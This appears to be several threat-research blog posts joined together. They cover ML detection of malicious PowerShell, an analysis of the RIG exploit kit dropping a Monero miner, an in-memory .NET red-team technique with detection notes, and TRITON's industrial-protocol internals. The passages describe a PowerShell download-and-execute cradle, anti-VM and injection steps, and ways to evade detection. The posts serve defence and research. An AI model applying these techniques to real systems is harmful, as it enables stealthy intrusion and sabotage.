Cyber security vendors and researchers have reported for years how PowerShell is being used by cyber threat actors to install backdoors, execute malicious code, and otherwise achieve their objectives within enterprises. Security is a cat-and-mouse game between adversaries, researchers, and blue teams. The flexibility and capability of PowerShell has made conventional detection both challenging and critical. This blog post will illustrate how FireEye is leveraging artificial intelligence and machine learning to raise the bar for adversaries that use PowerShell.

In this post you will learn:

  • Why malicious PowerShell can be challenging to detect with a traditional “signature-based” or “rule-based” detection engine.
  • How Natural Language Processing (NLP) can be applied to tackle this challenge.
  • How our NLP model detects malicious PowerShell commands, even if obfuscated.
  • The economics of increasing the cost for the adversaries to bypass security solutions, while potentially reducing the release time of security content for detection engines.

Background

PowerShell is one of the most popular tools used to carry out attacks. Data gathered from FireEye Dynamic Threat Intelligence (DTI) Cloud shows malicious PowerShell attacks rising throughout 2017 (Figure 1).


Figure 1: PowerShell attack statistics observed by FireEye DTI Cloud in 2017 – blue bars for the number of attacks detected, with the red curve for exponentially smoothed time series

FireEye has been tracking the malicious use of PowerShell for years. In 2014, Mandiant incident response investigators published a Black Hat paper that covers the tactics, techniques and procedures (TTPs) used in PowerShell attacks, as well as forensic artifacts on disk, in logs, and in memory produced from malicious use of PowerShell. In 2016, we published a blog post on how to improve PowerShell logging, which gives greater visibility into potential attacker activity. More recently, our in-depth report on APT32 highlighted this threat actor's use of PowerShell for reconnaissance and lateral movement procedures, as illustrated in Figure 2.


Figure 2: APT32 attack lifecycle, showing PowerShell attacks found in the kill chain

Let’s take a deep dive into an example of a malicious PowerShell command (Figure 3).


Figure 3: Example of a malicious PowerShell command

The following is a quick explanation of the arguments:

  • -NoProfile – indicates that the current user’s profile setup script should not be executed when the PowerShell engine starts.
  • -NonI – shorthand for -NonInteractive, meaning an interactive prompt to the user will not be presented.
  • -W Hidden – shorthand for “-WindowStyle Hidden”, which indicates that the PowerShell session window should be started in a hidden manner.
  • -Exec Bypass – shorthand for “-ExecutionPolicy Bypass”, which disables the execution policy for the current PowerShell session (default disallows execution). It should be noted that the Execution Policy isn’t meant to be a security boundary.
  • -encodedcommand – indicates the following chunk of text is a base64 encoded command.

What is hidden inside the Base64 decoded portion? Figure 4 shows the decoded command.


Figure 4: The decoded command for the aforementioned example

Interestingly, the decoded command unveils a stealthy fileless network access and remote content execution!

  • IEX is an alias for the Invoke-Expression cmdlet that will execute the command provided on the local machine.
  • The new-object cmdlet creates an instance of a .NET Framework or COM object, here a net.webclient object.
  • The downloadstring will download the contents from <url> into a memory buffer (which in turn IEX will execute).

It’s worth mentioning that a similar malicious PowerShell tactic was used in a recent cryptojacking attack exploiting CVE-2017-10271 to deliver a cryptocurrency miner. This attack involved the exploit being leveraged to deliver a PowerShell script, instead of downloading the executable directly. This PowerShell command is particularly stealthy because it leaves practically zero file artifacts on the host, making it hard for traditional antivirus to detect.

There are several reasons why adversaries prefer PowerShell:

  1. PowerShell has been widely adopted in Microsoft Windows as a powerful system administration scripting tool.
  2. Most attacker logic can be written in PowerShell without the need to install malicious binaries. This enables a minimal footprint on the endpoint.
  3. The flexible PowerShell syntax imposes combinatorial complexity challenges to signature-based detection rules.

Additionally, from an economics perspective:

  • Offensively, the cost for adversaries to modify PowerShell to bypass a signature-based rule is quite low, especially with open source obfuscation tools.
  • Defensively, updating handcrafted signature-based rules for new threats is time-consuming and limited to experts.

Next, we would like to share how we at FireEye are combining our PowerShell threat research with data science to combat this threat, thus raising the bar for adversaries.

Natural Language Processing for Detecting Malicious PowerShell

Can we use machine learning to predict if a PowerShell command is malicious?

One advantage FireEye has is our repository of high quality PowerShell examples that we harvest from our global deployments of FireEye solutions and services. Working closely with our in-house PowerShell experts, we curated a large training set that was comprised of malicious commands, as well as benign commands found in enterprise networks.

After we reviewed the PowerShell corpus, we quickly realized this fit nicely into the NLP problem space. We have built an NLP model that interprets PowerShell command text, similar to how Amazon Alexa interprets your voice commands.

One of the technical challenges we tackled was synonym, a problem studied in linguistics. For instance, “NOL”, “NOLO”, and “NOLOGO” have identical semantics in PowerShell syntax. In NLP, a stemming algorithm will reduce the word to its original form, such as “Innovating” being stemmed to “Innovate”.

We created a prefix-tree based stemmer for the PowerShell command syntax using an efficient data structure known as trie, as shown in Figure 5. Even in a complex scripting language such as PowerShell, a trie can stem command tokens in nanoseconds.


Figure 5: Synonyms in the PowerShell syntax (left) and the trie stemmer capturing these equivalences (right)

The overall NLP pipeline we developed is captured in the following table:

NLP Key Modules

Functionality

Decoder

Detect and decode any encoded text

Named Entity Recognition (NER)

Detect and recognize any entities such as IP, URL, Email, Registry key, etc.

Tokenizer

Tokenize the PowerShell command into a list of tokens

Stemmer

Stem tokens into semantically identical token, uses trie

Vocabulary Vectorizer

Vectorize the list of tokens into machine learning friendly format

Supervised classifier

Binary classification algorithms:

  • Kernel Support Vector Machine
  • Gradient Boosted Trees
  • Deep Neural Networks

Reasoning

The explanation of why the prediction was made. Enables analysts to validate predications.

The following are the key steps when streaming the aforementioned example through the NLP pipeline:

  • Detect and decode the Base64 commands, if any
  • Recognize entities using Named Entity Recognition (NER), such as the <URL>
  • Tokenize the entire text, including both clear text and obfuscated commands
  • Stem each token, and vectorize them based on the vocabulary
  • Predict the malicious probability using the supervised learning model


Figure 6: NLP pipeline that predicts the malicious probability of a PowerShell command

More importantly, we established a production end-to-end machine learning pipeline (Figure 7) so that we can constantly evolve with adversaries through re-labeling and re-training, and the release of the machine learning model into our products.


Figure 7: End-to-end machine learning production pipeline for PowerShell machine learning

Value Validated in the Field

We successfully implemented and optimized this machine learning model to a minimal footprint that fits into our research endpoint agent, which is able to make predictions in milliseconds on the host. Throughout 2018, we have deployed this PowerShell machine learning detection engine on incident response engagements. Early field validation has confirmed detections of malicious PowerShell attacks, including:

  • Commodity malware such as Kovter.
  • Red team penetration test activities.
  • New variants that bypassed legacy signatures, while detected by our machine learning with high probabilistic confidence.

The unique values brought by the PowerShell machine learning detection engine include:  

  • The machine learning model automatically learns the malicious patterns from the curated corpus. In contrast to traditional detection signature rule engines, which are Boolean expression and regex based, the NLP model has lower operation cost and significantly cuts down the release time of security content.
  • The model performs probabilistic inference on unknown PowerShell commands by the implicitly learned non-linear combinations of certain patterns, which increases the cost for the adversaries to bypass.

The ultimate value of this innovation is to evolve with the broader threat landscape, and to create a competitive edge over adversaries.

Acknowledgements

We would like to acknowledge:

  • Daniel Bohannon, Christopher Glyer and Nick Carr for the support on threat research.
  • Alex Rivlin, HeeJong Lee, and Benjamin Chang from FireEye Labs for providing the DTI statistics.
  • Research endpoint support from Caleb Madrigal.
  • The FireEye ICE-DS Team.

RIG Exploit Kit Delivering Monero Miner Via PROPagate Injection Technique

Introduction

Through FireEye Dynamic Threat Intelligence (DTI), we observed RIG Exploit Kit (EK) delivering a dropper that leverages the PROPagate injection technique to inject code that downloads and executes a Monero miner (similar activity has been reported by Trend Micro). Apart from leveraging a relatively lesser known injection technique, the attack chain has some other interesting properties that we will touch on in this blog post.

Attack Chain

The attack chain starts when the user visits a compromised website that loads the RIG EK landing page in an iframe. The RIG EK uses various techniques to deliver the NSIS (Nullsoft Scriptable Install System) loader, which leverages the PROPagate injection technique to inject shellcode into explorer.exe. This shellcode executes the next payload, which downloads and executes the Monero miner. The flow chart for the attack chain is shown in Figure 1.


Figure 1: Attack chain flow chart

Exploit Kit Analysis

When the user visits a compromised site that is injected with an iframe, the iframe loads the landing page. The iframe injected into a compromised website is shown in Figure 2.


Figure 2: Injected iframe

The landing page contains three different JavaScripts snippets, each of which uses a different technique to deliver the payload. Each of these are not new techniques, so we will only be giving a brief overview of each one in this post.

JavaScript 1

The first JavaScript has a function, fa, which returns a VBScript that will be executed using the execScript function, as shown by the code in Figure 3.


Figure 3: JavaScript 1 code snippet

The VBScript exploits CVE-2016-0189 which allows it to download the payload and execute it using the code snippet seen in Figure 4.


Figure 4: VBScript code snippet

JavaScript 2

The second JavaScript contains a function that will retrieve additional JavaScript code and append this script code to the HTML page using the code snippet seen in Figure 5.


Figure 5: JavaScript 2 code snippet

This newly appended JavaScript exploits CVE-2015-2419 which utilizes a vulnerability in JSON.stringify. This script obfuscates the call to JSON.stringify by storing pieces of the exploit in the variables shown in Figure 6.


Figure 6: Obfuscation using variables

Using these variables, the JavaScript calls JSON.stringify with malformed parameters in order to trigger CVE-2015-2419 which in turn will cause native code execution, as shown in Figure 7.


Figure 7: Call to JSON.Stringify

JavaScript 3

The third JavaScript has code that adds additional JavaScript, similar to the second JavaScript. This additional JavaScript adds a flash object that exploits CVE-2018-4878, as shown in Figure 8.


Figure 8: JavaScript 3 code snippet

Once the exploitation is successful, the shellcode invokes a command line to create a JavaScript file with filename u32.tmp, as shown in Figure 9.


Figure 9: WScript command line

This JavaScript file is launched using WScript, which downloads the next-stage payload and executes it using the command line in Figure 10.


Figure 10: Malicious command line

Payload Analysis

For this attack, the actor has used multiple payloads and anti-analysis techniques to bypass the analysis environment. Figure 11 shows the complete malware activity flow chart.


Figure 11: Malware activity flow chart

Analysis of NSIS Loader (SmokeLoader)

The first payload dropped by the RIG EK is a compiled NSIS executable famously known as SmokeLoader. Apart from NSIS files, the payload has two components: a DLL, and a data file (named ‘kumar.dll’ and ‘abaram.dat’ in our analysis case). The DLL has an export function that is invoked by the NSIS executable. This export function has code to read and decrypt the data file, which yields the second stage payload (a portable executable file).

The DLL then spawns itself (dropper) in SUSPENDED_MODE and injects the decrypted PE using process hollowing.

Analysis of Injected Code (Second Stage Payload)

The second stage payload is a highly obfuscated executable. It consists of a routine that decrypts a chunk of code, executes it, and re-encrypts it.

At the entry point, the executable contains code that checks the OS major version, which it extracts from the Process Environment Block (PEB). If the OS version value is less than 6 (prior to Windows Vista), the executable terminates itself. It also contains code that checks whether the executable is in debugged mode, which it extracts from offset 0x2 of the PEB. If the BeingDebugged flag is set, the executable terminates itself.

The malware also implements an Anti-VM check by opening the registry key HKLM\SYSTEM\ControlSet001\Services\Disk\Enum with value 0.

It checks whether the registry value data contains any of the strings: vmware, virtual, qemu, or xen.  Each of these strings is indictative of virtual machines

After running the anti-analysis and environment check, the malware starts executing the core code to perform the malicious activity.

The malware uses the PROPagate injection method to inject and execute the code in a targeted process. The PROPagate method is similar to the SetWindowLong injection technique. In this method, the malware uses the SetPropA function to modify the callback for UxSubclassInfo and cause the remote process to execute the malicious code.

This code injection technique only works for a process with lesser or equal integrity level. The malware first checks whether the integrity of the current running process is medium integrity level (2000, SECURITY_MANDATORY_MEDIUM_RID). Figure 12 shows the code snippet.


Figure 12: Checking integrity level of current process

If the process is higher than medium integrity level, then the malware proceeds further. If the process is lower than medium integrity level, the malware respawns itself with medium integrity.

The malware creates a file mapping object and writes the dropper file path to it and the same mapping object is accessed by injected code, to read the dropper file path and delete the dropper file. The name of the mapping object is derived from the volume serial number of the system drive and a XOR operation with the hardcoded value (Figure 13).

File Mapping Object Name = “Volume Serial Number” + “Volume Serial Number” XOR 0x7E766791


Figure 13: Creating file mapping object name

The malware then decrypts the third stage payload using XOR and decompresses it with RTLDecompressBuffer. The third stage payload is also a PE executable, but the author has modified the header of the file to avoid it being detected as a PE file in memory scanning. After modifying several header fields at the start of decrypted data, we can get the proper executable header (Figure 14).


Figure 14: Injected executable without header (left), and with header (right)

After decrypting the payload, the malware targets the shell process, explorer.exe, for malicious code injection. It uses GetShellWindow and GetWindowThreadProcessId APIs to get the shell window’s thread ID (Figure 15).


Figure 15: Getting shell window thread ID

The malware injects and maps the decrypted PE in a remote process (explorer.exe). It also injects shellcode that is configured as a callback function in SetPropA.

After injecting the payload into the target process, it uses EnumChild and EnumProps functions to enumerate all entries in the property list of the shell window and compares it with UxSubclassInfo

After finding the UxSubclassInfo property of the shell window, it saves the handle info and uses it to set the callback function through SetPropA.

SetPropA has three arguments, the third of which is data. The callback procedure address is stored at the offset 0x14 from the beginning of data. Malware modifies the callback address with the injected shellcode address (Figure 16).


Figure 16: Modifying callback function

The malware then sends a specific message to the window to execute the callback procedure corresponding to the UxSubclassInfo property, which leads to the execution of the shellcode.

The shellcode contains code to execute the address of the entry point of the injected third stage payload using CreateThread. It then resets the callback for SetPropA, which was modified by malware during PROPagate injection. Figure 17 shows the code snippet of the injected shellcode.


Figure 17: Assembly view of injected shellcode

Analysis of Third Stage Payload

Before executing the malicious code, the malware performs anti-analysis checks to make sure no analysis tool is running in the system. It creates two infinitely running threads that contain code to implement anti-analysis checks.

The first thread enumerates the processes using CreateToolhelp32Snapshot and checks for the process names generally used in analysis. It generates a DWORD hash value from the process name using a custom operation and compares it with the array of hardcoded DWORD values. If the generated value matches any value in the array, it terminates the corresponding process.

The second thread enumerates the windows using EnumWindows. It uses GetClassNameA function to extract the class name associated with the corresponding window. Like the first thread, it generates a DWORD hash value from the class name using a custom operation and compares it with the array of hardcoded DWORD values. If the generated value matches any value in the array, it terminates the process related to the corresponding window.

Other than these two anti-analysis techniques, it also has code to check the internet connectivity by trying to reach the URL: www.msftncsi[.]com/ncsi.txt.

To remain persistent in the system, the malware installs a scheduled task and a shortcut file in %startup% folder. The scheduled task is named “Opera Scheduled Autoupdate {Decimal Value of GetTickCount()}”.

The malware then communicates with the malicious URL to download the final payload, which is a Monero miner. It creates a MD5 hash value using Microsoft CryptoAPIs from the computer name and the volume information and sends the hash to the server in a POST request. Figure 18 shows the network communication.


Figure 18: Network communication

The malware then downloads the final payload, the Monero miner, from the server and installs it in the system.

Conclusion

Although we have been observing a decline in Exploit Kit activity, attackers are not abandoning them altogether. In this blog post, we explored how RIG EK is being used with various exploits to compromise endpoints. We have also shown how the NSIS Loader leverages the lesser known PROPagate process injection technique, possibly in an attempt to evade security products.

FireEye MVX and the FireEye Endpoint Security (HX) platform detect this attack at several stages of the attack chain.

Acknowledgement

We would like to thank Sudeep Singh and Alex Berry for their contributions to this blog post.

Bring Your Own Land (BYOL) – A Novel Red Teaming Technique

Introduction

One of most significant recent developments in sophisticated offensive operations is the use of “Living off the Land” (LotL) techniques by attackers. These techniques leverage legitimate tools present on the system, such as the PowerShell scripting language, in order to execute attacks. The popularity of PowerShell as an offensive tool culminated in the development of entire Red Team frameworks based around it, such as Empire and PowerSploit. In addition, the execution of PowerShell can be obfuscated through the use of tools such as “Invoke-Obfuscation”. In response, defenders have developed detections for the malicious use of legitimate applications. These detections include suspicious parent/child process relationships, suspicious process command line arguments, and even deobfuscation of malicious PowerShell scripts through the use of Script Block Logging.

In this blog post, I will discuss an alternative to current LotL techniques. With the most current build of Cobalt Strike (version 3.11), it is now possible to execute .NET assemblies entirely within memory by using the “execute-assembly” command. By developing custom C#-based assemblies, attackers no longer need to rely on the tools present on the target system; they can instead write and deliver their own tools, a technique I call Bring Your Own Land (BYOL). I will demonstrate this technique through the use of a custom .NET assembly that replicates some of the functionality of the PowerSploit project. I will also discuss how detections can be developed around BYOL techniques.

Background

At DerbyCon last year, I had the pleasure of meeting Raphael Mudge, the developer behind the Cobalt Strike Remote Access Tool (RAT). During our discussion, I mentioned how useful it would be to be able to load .NET assemblies into Cobalt Strike beacons, similar to how PowerShell scripts can be imported using the “powershell-import” command. During a previous Red Team engagement I had been involved in, the use of PowerShell was precluded by the Endpoint Detection and Response (EDR) agent present on host machines within the target environment. This was a significant issue, as much of my red teaming methodology at the time was based on the use of various PowerShell scripts. For example, the “Get-NetUser” cmdlet of the PowerView script allows for the enumeration of domain users within an Active Directory environment. While the use of PowerShell was not an option, I found that no application-based whitelisting was occurring on hosts within the target’s environment. Therefore, I started converting the PowerShell functionality into C# code, compiling assemblies locally as Portable Executable (PE) files, and then uploading the PE files onto target machines and executing them. This tactic was successful, and I was able to use these custom assemblies to elevate privileges up to Domain Admin within the target environment.

Raphael agreed that the ability to load these assemblies in-memory using a Cobalt Strike beacon would be useful, and about 8 months later this functionality was incorporated into Cobalt Strike version 3.11 via the “execute-assembly” command.

“execute-assembly” Demonstration

For this demonstration, a custom C# .NET assembly named “get-users” was used. This assembly replicated some of the functionality of the PowerView “Get-NetUser” cmdlet; it queried the Domain Controller of the specified domain for a list of all current domain accounts. Information obtained included the “SAMAccountName”, “UserGivenName”, and “UserSurname” properties for each account. The domain is specified by passing its FQDN as an argument, and the results are then sent to stdout. The assembly being executed within a Cobalt Strike beacon is shown in Figure 1.


Figure 1: Using the “execute-assembly” command within a Cobalt Strike beacon.

Simple enough, now let’s take a look at how this technique works under the hood.

How “execute-assembly” Works

In order to discover more about how the “execute-assembly” command works, the execution performed in Figure 1 was repeated with the host running ProcMon. The results of the process tree from ProcMon after execution are shown in Figure 2.


Figure 2: Process tree from ProcMon after executing “execute-assembly” command.

In Figure 2, The “powershell.exe (2792)” process contains the beacon, while the “rundll32.exe (2708)” process is used to load and execute the “get-users” assembly. Note that “powershell.exe” is shown as the parent process of “rundll32.exe” in this example because the Cobalt Strike beacon was launched by using a PowerShell one-liner; however, nearly any process can be used to host a beacon by leveraging various process migration techniques. From this information, we can determine that the “execute-assembly” command is similar to other Cobalt Strike post-exploitation jobs. In Cobalt Strike, some functions are offloaded to new processes, in order to ensure the stability of the beacon. The rundll32.exe Windows binary is used by default, although this setting can be changed. In order to migrate the necessary code into the new process, the CreateRemoteThread function is used. We can confirm that this function is utilized by monitoring the host with Sysmon while the “execute-assembly” command is performed. The event generated by the use of the CreateRemoteThread function is shown in Figure 3.


Figure 3: CreateRemoteThread Sysmon event, created after performing the “execute-assembly” command.

More information about this event is shown in Figure 4.


Figure 4: Detailed information about the Sysmon CreateRemoteThread event shown in Figure 3.

In order to execute the provided assembly, the Common Language Runtime (CLR) must be loaded into the newly created process. From the ProcMon logs, we can determine the exact DLLs that are loaded during this step. A portion of these DLLs are shown in Figure 5.


Figure 5: Example of DLLs loaded into rundll32 for hosting the CLR.

In addition, DLLs loaded into the rundll32 process include those necessary for the get-users assembly, such as those for LDAP communication and Kerberos authentication. A portion of these DLLs are shown in Figure 6.


Figure 6: Example of DLLs loaded into rundll32 for Kerberos authentication.

The ProcMon logs confirm that the provided assembly is never written to disk, making the “execute-assembly” command an entirely in-memory attack.

Detecting and Preventing “execute-assembly”

There are several ways to protect against the “execute-assembly” command. As previously detailed, because the technique is a post-exploitation job in Cobalt Strike, it uses the CreateRemoteThread function, which is commonly detected by EDR solutions. However, it is possible that other implementations of BYOL techniques would not require the use of the CreateRemoteThread function.

The “execute-assembly” technique makes use of the native LoadImage function in order to load the provided assembly. The CLRGuard project hooks into the use of this function, and prevents its execution. An example of CLRGuard preventing the execution of the “execute-assembly” command is shown in Figure 7.


Figure 7: CLRGuard blocking the execution of the “execute-assembly” technique.

The resulting error is shown on the Cobalt Strike teamserver in Figure 8.


Figure 8: Error shown in Cobalt Strike when “execute-assembly” is blocked by CLRGuard.

While CLRGuard is effective at preventing the “execute-assembly” command, as well as other BYOL techniques, it is likely that blocking all use of the LoadImage function on a system would negatively impact other benign applications, and is not recommended for production environments.

As with almost all security issues, baselining and correlation is the most effective means of detecting this technique. Suspicious events to correlate could include the use of the LoadImage function by processes that do not typically utilize it, and unusual DLLs being loaded into processes.

Advantages of BYOL

Due to the prevalent use of PowerShell scripts by sophisticated attackers, detection of malicious PowerShell activity has become a primary focus of current detection methodology. In particular, version 5 of PowerShell allows for the use of Script Block Logging, which is capable of recording exactly what PowerShell scripts are executed by the system, regardless of obfuscation techniques. In addition, Constrained Language mode can be used to restrict PowerShell functionality. While bypasses exist for these protections, such as PowerShell downgrade attacks, each bypass an attacker attempts is another event that a defender can trigger off of. BYOL allows for the execution of attacks normally performed by PowerShell scripts, while avoiding all potential PowerShell-based alerts entirely.

PowerShell is not the only native binary whose malicious use is being tracked by defenders. Other common binaries that can generate alerts on include WMIC, schtasks/at, and reg. The functionality of all these tools can be replicated within custom .NET assemblies, due to the flexibility of C# code. By being able to perform the same functionality as these tools without using them, alerts that are based on their malicious use are rendered ineffective.

Finally, thanks to the use of reflective loading, the BYOL technique can be performed entirely in-memory, without the need to write to disk.

Conclusion

BYOL presents a powerful new technique for red teamers to remain undetected during their engagements, and can easily be used with Cobalt Strike’s “execute-assembly” command. In addition, the use of C# assemblies can offer attackers more flexibility than similar PowerShell scripts can afford. Detections for CLR-based techniques, such as hooking of functions used to reflectively load assemblies, should be incorporated into defensive methodology, as these attacks are likely to become more prevalent as detections for LotL techniques mature.

Acknowledgement

Special thanks to Casey Erikson, who I have worked closely with on developing C# assemblies that leverage this technique, for his contributions to this blog.

A Totally Tubular Treatise on TRITON and TriStation

Introduction

In December 2017, FireEye's Mandiant discussed an incident response involving the TRITON framework. The TRITON attack and many of the publicly discussed ICS intrusions involved routine techniques where the threat actors used only what is necessary to succeed in their mission. For both INDUSTROYER and TRITON, the attackers moved from the IT network to the OT (operational technology) network through systems that were accessible to both environments. Traditional malware backdoors, Mimikatz distillates, remote desktop sessions, and other well-documented, easily-detected attack methods were used throughout these intrusions.

Despite the routine techniques employed to gain access to an OT environment, the threat actors behind the TRITON malware framework invested significant time learning about the Triconex Safety Instrumented System (SIS) controllers and TriStation, a proprietary network communications protocol. The investment and purpose of the Triconex SIS controllers leads Mandiant to assess the attacker's objective was likely to build the capability to cause physical consequences.

TriStation remains closed source and there is no official public information detailing the structure of the protocol, raising several questions about how the TRITON framework was developed. Did the actor have access to a Triconex controller and TriStation 1131 software suite? When did development first start? How did the threat actor reverse engineer the protocol, and to what extent? What is the protocol structure?

FireEye’s Advanced Practices Team was born to investigate adversary methodologies, and to answer these types of questions, so we started with a deeper look at the TRITON’s own Python scripts.

Glossary:

  • TRITON – Malware framework designed to operate Triconex SIS controllers via the TriStation protocol.
  • TriStation – UDP network protocol specific to Triconex controllers.
  • TRITON threat actor – The human beings who developed, deployed and/or operated TRITON.

Diving into TRITON's Implementation of TriStation

TriStation is a proprietary network protocol and there is no public documentation detailing its structure or how to create software applications that use TriStation. The current TriStation UDP/IP protocol is little understood, but natively implemented through the TriStation 1131 software suite. TriStation operates by UDP over port 1502 and allows for communications between designated masters (PCs with the software that are “engineering workstations”) and slaves (Triconex controllers with special communications modules) over a network.

To us, the Triconex systems, software and associated terminology sound foreign and complicated, and the TriStation protocol is no different. Attempting to understand the protocol from ground zero would take a considerable amount of time and reverse engineering effort – so why not learn from TRITON itself? With the TRITON framework containing TriStation communication functionality, we pursued studying the framework to better understand this mysterious protocol. Work smarter, not harder, amirite?

The TRITON framework has a multitude of functionalities, but we started with the basic components:

  • TS_cnames.pyc # Compiled at: 2017-08-03 10:52:33
  • TsBase.pyc # Compiled at: 2017-08-03 10:52:33
  • TsHi.pyc # Compiled at: 2017-08-04 02:04:01
  • TsLow.pyc # Compiled at: 2017-08-03 10:46:51

TsLow.pyc (Figure 1) contains several pieces of code for error handling, but these also present some cues to the protocol structure.


Figure 1: TsLow.pyc function print_last_error()

In the TsLow.pyc’s function for print_last_error we see error handling for “TCM Error”. This compares the TriStation packet value at offset 0 with a value in a corresponding array from TS_cnames.pyc (Figure 2), which is largely used as a “dictionary” for the protocol.


Figure 2: TS_cnames.pyc TS_cst array

From this we can infer that offset 0 of the TriStation protocol contains message types. This is supported by an additional function, tcm_result, which declares type, size = struct.unpack('<HH', data_received[0:4]), stating that the first two bytes should be handled as integer type and the second two bytes are integer size of the TriStation message. This is our first glimpse into what the threat actor(s) understood about the TriStation protocol.

Since there are only 11 defined message types, it really doesn't matter much if the type is one byte or two because the second byte will always be 0x00.

We also have indications that message type 5 is for all Execution Command Requests and Responses, so it is curious to observe that the TRITON developers called this “Command Reply.” (We won’t understand this naming convention until later.)

Next we examine TsLow.pyc’s print_last_error function (Figure 3) to look at “TS Error” and “TS_names.” We begin by looking at the ts_err variable and see that it references ts_result.


Figure 3: TsLow.pyc function print_last_error() with ts_err highlighted

We follow that thread to ts_result, which defines a few variables in the next 10 bytes (Figure 4): dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). Now things are heating up. What fun. There’s a lot to unpack here, but the most interesting thing is how this piece script breaks down 10 bytes from ts_packet into different variables.


Figure 4: ts_result with ts_packet header variables highlighted


Figure 5: tcm_result

Referencing tcm_result (Figure 5) we see that it defines type and size as the first four bytes (offset 0 – 3) and tcm_result returns the packet bytes 4:-2 (offset 4 to the end minus 2, because the last two bytes are the CRC-16 checksum). Now that we know where tcm_result leaves off, we know that the ts_reply “cmd” is a single byte at offset 6, and corresponds to the values in the TS_cnames.pyc array and TS_names (Figure 6). The TRITON script also tells us that any integer value over 100 is a likely “command reply.” Sweet.

When looking back at the ts_result packet header definitions, we begin to see some gaps in the TRITON developer's knowledge: dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). We're clearly speculating based on naming conventions, but we get an impression that offsets 4, 5 and 6 could be "direction", "controller ID" and "command", respectively. Values such as "unk" show that the developer either did not know or did not care to identify this value. We suspect it is a constant, but this value is still unknown to us.


Figure 6: Excerpt TS_cnames.pyc TS_names array, which contain TRITON actor’s notes for execution command function codes

TriStation Protocol Packet Structure

The TRITON threat actor’s knowledge and reverse engineering effort provides us a better understanding of the protocol. From here we can start to form a more complete picture and document the basic functionality of TriStation. We are primarily interested in message type 5, Execution Command, which best illustrates the overall structure of the protocol. Other, smaller message types will have varying structure.


Figure 7: Sample TriStation "Allocate Program" Execution Command, with color annotation and protocol legend

Corroborating the TriStation Analysis

Minute discrepancies aside, the TriStation structure detailed in Figure 7 is supported by other public analyses. Foremost, researchers from the Coordinated Science Laboratory (CSL) at University of Illinois at Urbana-Champaign published a 2017 paper titled "Attack Induced Common-Mode Failures on PLC-based Safety System in a Nuclear Power Plant". The CSL team mentions that they used the Triconex System Access Application (TSAA) protocol to reverse engineer elements of the TriStation protocol. TSAA is a protocol developed by the same company as TriStation. Unlike TriStation, the TSAA protocol structure is described within official documentation. CSL assessed similarities between the two protocols would exist and they leveraged TSAA to better understand TriStation. The team's overall research and analysis of the general packet structure aligns with our TRITON-sourced packet structure.

There are some awesome blog posts and whitepapers out there that support our findings in one way or another. Writeups by Midnight Blue Labs, Accenture, and US-CERT each explain how the TRITON framework relates to the TriStation protocol in superb detail.

TriStation's Reverse Engineering and TRITON's Development

When TRITON was discovered, we began to wonder how the TRITON actor reverse engineered TriStation and implemented it into the framework. We have a lot of theories, all of which seemed plausible: Did they build, buy, borrow, or steal? Or some combination thereof?

Our initial theory was that the threat actor purchased a Triconex controller and software for their own testing and reverse engineering from the "ground up", although if this was the case we do not believe they had a controller with the exact vulnerable firmware version, else they would have had fewer problems with TRITON in practice at the victim site. They may have bought or used a demo version of the TriStation 1131 software, allowing them to reverse engineer enough of TriStation for the framework. They may have stolen TriStation Python libraries from ICS companies, subsidiaries or system integrators and used the stolen material as a base for TriStation and TRITON development. But then again, it is possible that they borrowed TriStation software, Triconex hardware and Python connectors from government-owned utility that was using them legitimately.

Looking at the raw TRITON code, some of the comments may appear oddly phrased, but we do get a sense that the developer is clearly using many of the right vernacular and acronyms, showing smarts on PLC programming. The TS_cnames.pyc script contains interesting typos such as 'Set lable', 'Alocate network accepted', 'Symbol table ccepted' and 'Set program information reponse'. These appear to be normal human error and reflect neither poor written English nor laziness in coding. The significant amount of annotation, cascading logic, and robust error handling throughout the code suggests thoughtful development and testing of the framework. This complicates the theory of "ground up" development, so did they base their code on something else?

While learning from the TriStation functionality within TRITON, we continued to explore legitimate TriStation software. We began our search for "TS1131.exe" and hit dead ends sorting through TriStation DLLs until we came across a variety of TriStation utilities in MSI form. We ultimately stumbled across a juicy archive containing "Trilog v4." Upon further inspection, this file installed "TriLog.exe," which the original TRITON executable mimicked, and a couple of supporting DLLs, all of which were timestamped around August 2006.

When we saw the DLL file description "Tricon Communications Interface" and original file name "TricCom.DLL", we knew we were in the right place. With a simple look at the file strings, "BAZINGA!" We struck gold.

File Name

tr1com40.dll

MD5

069247DF527A96A0E048732CA57E7D3D

Size

110592

Compile Date

2006-08-23

File Description

Tricon Communications Interface

Product Name

TricCom Dynamic Link Library

File Version

4.2.441

Original File Name

TricCom.DLL

Copyright

Copyright © 1993-2006 Triconex Corporation

The tr1com40.DLL is exactly what you would expect to see in a custom application package. It is a library that helps support the communications for a Triconex controller. If you've pored over TRITON as much as we have, the moment you look at strings you can see the obvious overlaps between the legitimate DLL and TRITON's own TS_cnames.pyc.


Figure 8: Strings excerpt from tr1com40.DLL

Each of the execution command "error codes" from TS_cnames.pyc are in the strings of tr1com40.DLL (Figure 8). We see "An MP has re-educated" and "Invalid Tristation I command". Even misspelled command strings verbatim such as "Non-existant data item" and "Alocate network accepted". We also see many of the same unknown values. What is obvious from this discovery is that some of the strings in TRITON are likely based on code used in communications libraries for Trident and Tricon controllers.

In our brief survey of the legitimate Triconex Corporation binaries, we observed a few samples with related string tables.

Pe:dllname

Compile Date

Reference CPP Strings Code

Lagcom40.dll

2004/11/19

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Tr1com40.dll

2006/08/23

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Tridcom.dll

2008/07/23

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Triccom.dll

2008/07/23

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Tridcom.dll

2010/09/29

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 

Tr1com.dll

2011/04/27

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Lagcom.dll

2011/04/27

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Triccom.dll

2011/04/27

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

